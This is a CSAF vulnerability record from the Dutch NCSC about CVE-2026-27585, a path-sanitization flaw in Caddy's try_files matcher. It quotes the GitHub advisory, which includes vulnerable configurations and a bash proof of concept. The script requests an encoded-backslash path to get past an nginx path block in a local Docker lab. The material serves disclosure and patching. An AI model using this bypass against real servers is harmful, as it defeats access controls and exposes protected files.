{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27585", "tracking": { "current_release_date": "2026-03-26T18:51:31.770427Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27585", "initial_release_date": "2026-02-24T16:38:36.792871Z", "revision_history": [ { "date": "2026-02-24T16:38:36.792871Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)." }, { "date": "2026-02-24T16:38:38.703771Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-24T18:26:28.102449Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-02-24T18:26:31.041242Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-24T20:39:53.115455Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (7).| CWES updated (1)." }, { "date": "2026-02-24T20:40:02.945725Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-25T00:12:56.956836Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (6).| CWES updated (1)." }, { "date": "2026-02-25T00:20:30.585707Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (94).| References created (6).| CWES updated (1)." }, { "date": "2026-02-25T00:42:39.930272Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Products created (1)." }, { "date": "2026-02-25T06:42:53.837132Z", "number": "10", "summary": "Description created for source." }, { "date": "2026-02-25T15:13:52.717351Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-25T15:13:55.053385Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-02-25T17:27:46.078179Z", "number": "13", "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-02-25T17:27:50.491847Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-02-26T21:40:56.680271Z", "number": "15", "summary": "Unknown change." }, { "date": "2026-02-26T21:41:00.367107Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-02-27T00:12:57.681794Z", "number": "17", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (5)." }, { "date": "2026-02-27T20:39:35.649322Z", "number": "18", "summary": "References created (1)." }, { "date": "2026-02-27T20:39:40.688594Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-02-28T06:12:53.317988Z", "number": "20", "summary": "References created (1)." }, { "date": "2026-03-20T09:40:39.343914Z", "number": "21", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:40:42.169416Z", "number": "22", "summary": "NCSC Score updated." }, { "date": "2026-03-26T18:47:45.750262Z", "number": "23", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (2).| References created (9).| CWES updated (1)." }, { "date": "2026-03-26T18:47:48.959557Z", "number": "24", "summary": "NCSC Score updated." }, { "date": "2026-03-26T18:47:59.782419Z", "number": "25", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (8).| CWES updated (1)." }, { "date": "2026-03-26T18:48:03.684025Z", "number": "26", "summary": "NCSC Score updated." } ], "status": "interim", "version": "26" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<2.11.1", "product": { "name": "vers:unknown/<2.11.1", "product_id": "CSAFPID-5688699", "product_identification_helper": { "cpe": "cpe:2.3:a:caddyserver:caddy:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<2.11.1", "product": { "name": "vers:unknown/>=0|<2.11.1", "product_id": "CSAFPID-5700114" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0", "product": { "name": "vers:unknown/v2.0.0", "product_id": "CSAFPID-4034332" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.13", "product": { "name": "vers:unknown/v2.0.0-beta.13", "product_id": "CSAFPID-4034342" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.14", "product": { "name": "vers:unknown/v2.0.0-beta.14", "product_id": "CSAFPID-4034343" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.15", "product": { "name": "vers:unknown/v2.0.0-beta.15", "product_id": "CSAFPID-4034344" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.16", "product": { "name": "vers:unknown/v2.0.0-beta.16", "product_id": "CSAFPID-4034345" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.17", "product": { "name": "vers:unknown/v2.0.0-beta.17", "product_id": "CSAFPID-4034346" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.18", "product": { "name": "vers:unknown/v2.0.0-beta.18", "product_id": "CSAFPID-4034347" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.19", "product": { "name": "vers:unknown/v2.0.0-beta.19", "product_id": "CSAFPID-4034348" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta.20", "product": { "name": "vers:unknown/v2.0.0-beta.20", "product_id": "CSAFPID-4034349" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta1", "product": { "name": "vers:unknown/v2.0.0-beta1", "product_id": "CSAFPID-4034350" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta10", "product": { "name": "vers:unknown/v2.0.0-beta10", "product_id": "CSAFPID-4034351" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta11", "product": { "name": "vers:unknown/v2.0.0-beta11", "product_id": "CSAFPID-4034352" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta12", "product": { "name": "vers:unknown/v2.0.0-beta12", "product_id": "CSAFPID-4034353" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta2", "product": { "name": "vers:unknown/v2.0.0-beta2", "product_id": "CSAFPID-4034354" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta3", "product": { "name": "vers:unknown/v2.0.0-beta3", "product_id": "CSAFPID-4034355" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta4", "product": { "name": "vers:unknown/v2.0.0-beta4", "product_id": "CSAFPID-4034356" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta5", "product": { "name": "vers:unknown/v2.0.0-beta5", "product_id": "CSAFPID-4034357" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta6", "product": { "name": "vers:unknown/v2.0.0-beta6", "product_id": "CSAFPID-4034358" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta7", "product": { "name": "vers:unknown/v2.0.0-beta7", "product_id": "CSAFPID-4034359" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta8", "product": { "name": "vers:unknown/v2.0.0-beta8", "product_id": "CSAFPID-4034360" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-beta9", "product": { "name": "vers:unknown/v2.0.0-beta9", "product_id": "CSAFPID-4034361" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-rc.1", "product": { "name": "vers:unknown/v2.0.0-rc.1", "product_id": "CSAFPID-4034362" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-rc.2", "product": { "name": "vers:unknown/v2.0.0-rc.2", "product_id": "CSAFPID-4034363" } }, { "category": "product_version_range", "name": "vers:unknown/v2.0.0-rc.3", "product": { "name": "vers:unknown/v2.0.0-rc.3", "product_id": "CSAFPID-4034364" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0", "product": { "name": "vers:unknown/v2.1.0", "product_id": "CSAFPID-4034378" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0-beta.1", "product": { "name": "vers:unknown/v2.1.0-beta.1", "product_id": "CSAFPID-4034379" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.0-beta.2", "product": { "name": "vers:unknown/v2.1.0-beta.2", "product_id": "CSAFPID-4034380" } }, { "category": "product_version_range", "name": "vers:unknown/v2.1.1", "product": { "name": "vers:unknown/v2.1.1", "product_id": "CSAFPID-4034387" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0", "product": { "name": "vers:unknown/v2.10.0", "product_id": "CSAFPID-5700154" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.1", "product": { "name": "vers:unknown/v2.10.0-beta.1", "product_id": "CSAFPID-5700155" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.2", "product": { "name": "vers:unknown/v2.10.0-beta.2", "product_id": "CSAFPID-5700156" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.3", "product": { "name": "vers:unknown/v2.10.0-beta.3", "product_id": "CSAFPID-5700157" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.0-beta.4", "product": { "name": "vers:unknown/v2.10.0-beta.4", "product_id": "CSAFPID-5700158" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.1", "product": { "name": "vers:unknown/v2.10.1", "product_id": "CSAFPID-5700159" } }, { "category": "product_version_range", "name": "vers:unknown/v2.10.2", "product": { "name": "vers:unknown/v2.10.2", "product_id": "CSAFPID-5700160" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0", "product": { "name": "vers:unknown/v2.11.0", "product_id": "CSAFPID-5700161" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0-beta.1", "product": { "name": "vers:unknown/v2.11.0-beta.1", "product_id": "CSAFPID-5700162" } }, { "category": "product_version_range", "name": "vers:unknown/v2.11.0-beta.2", "product": { "name": "vers:unknown/v2.11.0-beta.2", "product_id": "CSAFPID-5700163" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0", "product": { "name": "vers:unknown/v2.2.0", "product_id": "CSAFPID-4034396" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0-rc.1", "product": { "name": "vers:unknown/v2.2.0-rc.1", "product_id": "CSAFPID-4034400" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0-rc.2", "product": { "name": "vers:unknown/v2.2.0-rc.2", "product_id": "CSAFPID-4034401" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.0-rc.3", "product": { "name": "vers:unknown/v2.2.0-rc.3", "product_id": "CSAFPID-4034402" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.1", "product": { "name": "vers:unknown/v2.2.1", "product_id": "CSAFPID-4034407" } }, { "category": "product_version_range", "name": "vers:unknown/v2.2.3", "product": { "name": "vers:unknown/v2.2.3", "product_id": "CSAFPID-4034411" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0", "product": { "name": "vers:unknown/v2.3.0", "product_id": "CSAFPID-4034417" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0-beta.1", "product": { "name": "vers:unknown/v2.3.0-beta.1", "product_id": "CSAFPID-4034418" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0-rc.1", "product": { "name": "vers:unknown/v2.3.0-rc.1", "product_id": "CSAFPID-4034419" } }, { "category": "product_version_range", "name": "vers:unknown/v2.3.0-rc.2", "product": { "name": "vers:unknown/v2.3.0-rc.2", "product_id": "CSAFPID-4034420" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0", "product": { "name": "vers:unknown/v2.4.0", "product_id": "CSAFPID-4034435" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta.1", "product": { "name": "vers:unknown/v2.4.0-beta.1", "product_id": "CSAFPID-4034436" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-beta.2", "product": { "name": "vers:unknown/v2.4.0-beta.2", "product_id": "CSAFPID-4034437" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.0-rc.1", "product": { "name": "vers:unknown/v2.4.0-rc.1", "product_id": "CSAFPID-4034438" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.1", "product": { "name": "vers:unknown/v2.4.1", "product_id": "CSAFPID-4034441" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.2", "product": { "name": "vers:unknown/v2.4.2", "product_id": "CSAFPID-4034447" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.3", "product": { "name": "vers:unknown/v2.4.3", "product_id": "CSAFPID-4034448" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.4", "product": { "name": "vers:unknown/v2.4.4", "product_id": "CSAFPID-4034449" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.5", "product": { "name": "vers:unknown/v2.4.5", "product_id": "CSAFPID-4034450" } }, { "category": "product_version_range", "name": "vers:unknown/v2.4.6", "product": { "name": "vers:unknown/v2.4.6", "product_id": "CSAFPID-4034451" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0", "product": { "name": "vers:unknown/v2.5.0", "product_id": "CSAFPID-4034455" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0-beta.1", "product": { "name": "vers:unknown/v2.5.0-beta.1", "product_id": "CSAFPID-4034456" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.0-rc.1", "product": { "name": "vers:unknown/v2.5.0-rc.1", "product_id": "CSAFPID-4034457" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.1", "product": { "name": "vers:unknown/v2.5.1", "product_id": "CSAFPID-4034464" } }, { "category": "product_version_range", "name": "vers:unknown/v2.5.2", "product": { "name": "vers:unknown/v2.5.2", "product_id": "CSAFPID-4034465" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0", "product": { "name": "vers:unknown/v2.6.0", "product_id": "CSAFPID-4034466" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.1", "product": { "name": "vers:unknown/v2.6.0-beta.1", "product_id": "CSAFPID-4034467" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.2", "product": { "name": "vers:unknown/v2.6.0-beta.2", "product_id": "CSAFPID-4034468" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.3", "product": { "name": "vers:unknown/v2.6.0-beta.3", "product_id": "CSAFPID-4034469" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.4", "product": { "name": "vers:unknown/v2.6.0-beta.4", "product_id": "CSAFPID-4034470" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.0-beta.5", "product": { "name": "vers:unknown/v2.6.0-beta.5", "product_id": "CSAFPID-4034471" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.1", "product": { "name": "vers:unknown/v2.6.1", "product_id": "CSAFPID-4034472" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.2", "product": { "name": "vers:unknown/v2.6.2", "product_id": "CSAFPID-4034473" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.3", "product": { "name": "vers:unknown/v2.6.3", "product_id": "CSAFPID-4034474" } }, { "category": "product_version_range", "name": "vers:unknown/v2.6.4", "product": { "name": "vers:unknown/v2.6.4", "product_id": "CSAFPID-4034475" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0", "product": { "name": "vers:unknown/v2.7.0", "product_id": "CSAFPID-4034476" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0-beta.1", "product": { "name": "vers:unknown/v2.7.0-beta.1", "product_id": "CSAFPID-4034477" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.0-beta.2", "product": { "name": "vers:unknown/v2.7.0-beta.2", "product_id": "CSAFPID-4034478" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.1", "product": { "name": "vers:unknown/v2.7.1", "product_id": "CSAFPID-4034479" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.2", "product": { "name": "vers:unknown/v2.7.2", "product_id": "CSAFPID-4034480" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.3", "product": { "name": "vers:unknown/v2.7.3", "product_id": "CSAFPID-4034481" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.4", "product": { "name": "vers:unknown/v2.7.4", "product_id": "CSAFPID-4034482" } }, { "category": "product_version_range", "name": "vers:unknown/v2.7.5", "product": { "name": "vers:unknown/v2.7.5", "product_id": "CSAFPID-5700164" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0", "product": { "name": "vers:unknown/v2.8.0", "product_id": "CSAFPID-5700165" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0-beta.1", "product": { "name": "vers:unknown/v2.8.0-beta.1", "product_id": "CSAFPID-5700166" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0-beta.2", "product": { "name": "vers:unknown/v2.8.0-beta.2", "product_id": "CSAFPID-5700167" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.0-rc.1", "product": { "name": "vers:unknown/v2.8.0-rc.1", "product_id": "CSAFPID-5700168" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.1", "product": { "name": "vers:unknown/v2.8.1", "product_id": "CSAFPID-5700169" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.2", "product": { "name": "vers:unknown/v2.8.2", "product_id": "CSAFPID-5700170" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.3", "product": { "name": "vers:unknown/v2.8.3", "product_id": "CSAFPID-5700171" } }, { "category": "product_version_range", "name": "vers:unknown/v2.8.4", "product": { "name": "vers:unknown/v2.8.4", "product_id": "CSAFPID-5700172" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0", "product": { "name": "vers:unknown/v2.9.0", "product_id": "CSAFPID-5700173" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.1", "product": { "name": "vers:unknown/v2.9.0-beta.1", "product_id": "CSAFPID-5700174" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.2", "product": { "name": "vers:unknown/v2.9.0-beta.2", "product_id": "CSAFPID-5700175" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.3", "product": { "name": "vers:unknown/v2.9.0-beta.3", "product_id": "CSAFPID-5700176" } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.1", "product": { "name": "vers:unknown/v2.9.1", "product_id": "CSAFPID-5700177" } } ], "category": "product_name", "name": "Caddy" } ], "category": "vendor", "name": "Caddyserver" }, { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:deb/unknown", "product": { "name": "vers:deb/unknown", "product_id": "CSAFPID-5700549" } } ], "category": "product_name", "name": "caddy" } ], "category": "product_family", "name": "bookworm" } ], "category": "vendor", "name": "Debian" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.11.1", "product": { "name": "vers:unknown/2.11.1", "product_id": "CSAFPID-5918973" } }, { "category": "product_version_range", "name": "vers:unknown/<2.11.1", "product": { "name": "vers:unknown/<2.11.1", "product_id": "CSAFPID-5918974" } } ], "category": "product_name", "name": "go/github.com/caddyserver/caddy/v2" } ], "category": "vendor", "name": "caddy" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2.11.1", "product": { "name": "vers:unknown/2.11.1", "product_id": "CSAFPID-5918977" } }, { "category": "product_version_range", "name": "vers:unknown/<2.11.1", "product": { "name": "vers:unknown/<2.11.1", "product_id": "CSAFPID-5918978" } } ], "category": "product_name", "name": "go/github.com/caddyserver/caddy/v2/modules/caddyhttp/fileserver" } ], "category": "vendor", "name": "caddyhttp" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27585", "notes": [ { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, the path sanitization routine in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections. It affects users with specific Caddy and environment configurations. Version 2.11.1 fixes the issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27585" }, { "category": "description", "text": "Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, the path sanitization routine in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections. It affects users with specific Caddy and environment configurations. Version 2.11.1 fixes the issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27585" }, { "category": "description", "text": "### Summary\n\nThe path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections.\n\n### Details\n\nThe [try_files](https://caddyserver.com/docs/caddyfile/directives/try_files) directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to `index.html`. \n \n```caddy\nexample.com {\n\troot * /srv\n\tencode\n\ttry_files {path} /index.html\n\tfile_server\n}\n```\n\n`try_files` patterns are actually glob patterns and file matcher expands them. The `{path}` in the pattern is replaced with\nthe request path and then [is expanded by `fs.Glob`](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398). The request path is sanitized before being placed inside the pattern and the special chars are escaped . [The following code](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) is the sanitization part. \n\n```go\nvar globSafeRepl = strings.NewReplacer(\n\t\"*\", \"\\\\*\",\n\t\"[\", \"\\\\[\",\n\t\"?\", \"\\\\?\",\n)\n\nexpandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {\n if runtime.GOOS == \"windows\" {\n return val, nil\n }\n switch v := val.(type) {\n case string:\n return globSafeRepl.Replace(v), nil\n case fmt.Stringer:\n return globSafeRepl.Replace(v.String()), nil\n }\n return val, nil\n})\n```\n\nThe problem here is that it does not escape backslashes. `/something-\\*/` can match a file named `something-\\-anything.txt`, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.\n\nThe backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that `h\\ello*` matches `hello world` even though `e` is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows `/documents/*` to the internal network and its upstream is a Caddy server that uses `try_files`, the reverse proxy's protection can be bypassed by requesting the path `/do%5ccuments/`.\n\nSome configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the `try_files` directive and the filtering `route`/`handle` must not be in a same block because `try_files` directive [executes before `route` and `handle` directives](https://caddyserver.com/docs/caddyfile/directives#directive-order). \n\nFor example the following config isn't vulnerable.\n\n```caddy\n:80 {\n root * /srv\n\n route /documents/* {\n respond \"Access denied\" 403\n }\n\n try_files {path} /index.html\n file_server\n}\n```\n\nBut this one is vulnerable.\n\n```caddy\n:80 {\n root * /srv\n\n route /documents/* {\n respond \"Access denied\" 403\n }\n\n route /* {\n try_files {path} /index.html\n }\n file_server\n}\n```\n\nThis config is also vulnerable because `Header` directives executes before `try_files`. \n\n```caddy\n:80 {\n root * /srv \n header /uploads/* {\n X-Content-Type-Options \"nosniff\"\n Content-Security-Policy \"default-src 'none';\"\n }\n try_files {path} /index.html\n file_server\n}\n```\n\n### PoC\n\nPaste this script somewhere and run it. It should print \"some content\" which means that the nginx protection has failed.\n\n```bash\n#!/bin/bash\n\nmkdir secret\necho 'some content' > secret/secret.txt\n\ncat > Caddyfile <<'EOF'\n:80 {\n root * /srv\n\n try_files {path} /index.html\n file_server\n}\nEOF\n\ncat > nginx.conf <<'EOF'\nevents {}\n\nhttp {\n server {\n listen 80;\n \n location /secret {\n return 403;\n }\n\n location / {\n proxy_pass http://caddy;\n proxy_set_header Host $host;\n }\n }\n}\nEOF\n\ncat > docker-compose.yml <<'EOF'\nservices:\n caddy:\n # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb\n image: caddy:latest\n volumes:\n - ./Caddyfile:/etc/caddy/Caddyfile:ro\n - ./secret:/srv/secret:ro\n nginx:\n # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208\n image: nginx:latest\n volumes:\n - ./nginx.conf:/etc/nginx/nginx.conf:ro\n ports:\n - \"8000:80\" \nEOF\n\ndocker compose up -d\ncurl 'localhost:8000/secre%5ct/secret.txt'\n```\n\n### Impact\n\nThis vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.\n\n### AI Usage\n\nAn LLM was used to polish this report.", "title": "github - https://github.com/advisories/GHSA-4xrr-hq4w-6vf4" }, { "category": "description", "text": "### Summary\n\nThe path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections.\n\n### Details\n\nThe [try_files](https://caddyserver.com/docs/caddyfile/directives/try_files) directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to `index.html`. \n \n```caddy\nexample.com {\n\troot * /srv\n\tencode\n\ttry_files {path} /index.html\n\tfile_server\n}\n```\n\n`try_files` patterns are actually glob patterns and file matcher expands them. The `{path}` in the pattern is replaced with\nthe request path and then [is expanded by `fs.Glob`](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398). The request path is sanitized before being placed inside the pattern and the special chars are escaped . [The following code](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) is the sanitization part. \n\n```go\nvar globSafeRepl = strings.NewReplacer(\n\t\"*\", \"\\\\*\",\n\t\"[\", \"\\\\[\",\n\t\"?\", \"\\\\?\",\n)\n\nexpandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {\n if runtime.GOOS == \"windows\" {\n return val, nil\n }\n switch v := val.(type) {\n case string:\n return globSafeRepl.Replace(v), nil\n case fmt.Stringer:\n return globSafeRepl.Replace(v.String()), nil\n }\n return val, nil\n})\n```\n\nThe problem here is that it does not escape backslashes. `/something-\\*/` can match a file named `something-\\-anything.txt`, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.\n\nThe backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that `h\\ello*` matches `hello world` even though `e` is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows `/documents/*` to the internal network and its upstream is a Caddy server that uses `try_files`, the reverse proxy's protection can be bypassed by requesting the path `/do%5ccuments/`.\n\nSome configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the `try_files` directive and the filtering `route`/`handle` must not be in a same block because `try_files` directive [executes before `route` and `handle` directives](https://caddyserver.com/docs/caddyfile/directives#directive-order). \n\nFor example the following config isn't vulnerable.\n\n```caddy\n:80 {\n root * /srv\n\n route /documents/* {\n respond \"Access denied\" 403\n }\n\n try_files {path} /index.html\n file_server\n}\n```\n\nBut this one is vulnerable.\n\n```caddy\n:80 {\n root * /srv\n\n route /documents/* {\n respond \"Access denied\" 403\n }\n\n route /* {\n try_files {path} /index.html\n }\n file_server\n}\n```\n\nThis config is also vulnerable because `Header` directives executes before `try_files`. \n\n```caddy\n:80 {\n root * /srv \n header /uploads/* {\n X-Content-Type-Options \"nosniff\"\n Content-Security-Policy \"default-src 'none';\"\n }\n try_files {path} /index.html\n file_server\n}\n```\n\n### PoC\n\nPaste this script somewhere and run it. It should print \"some content\" which means that the nginx protection has failed.\n\n```bash\n#!/bin/bash\n\nmkdir secret\necho 'some content' > secret/secret.txt\n\ncat > Caddyfile <<'EOF'\n:80 {\n root * /srv\n\n try_files {path} /index.html\n file_server\n}\nEOF\n\ncat > nginx.conf <<'EOF'\nevents {}\n\nhttp {\n server {\n listen 80;\n \n location /secret {\n return 403;\n }\n\n location / {\n proxy_pass http://caddy;\n proxy_set_header Host $host;\n }\n }\n}\nEOF\n\ncat > docker-compose.yml <<'EOF'\nservices:\n caddy:\n # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb\n image: caddy:latest\n volumes:\n - ./Caddyfile:/etc/caddy/Caddyfile:ro\n - 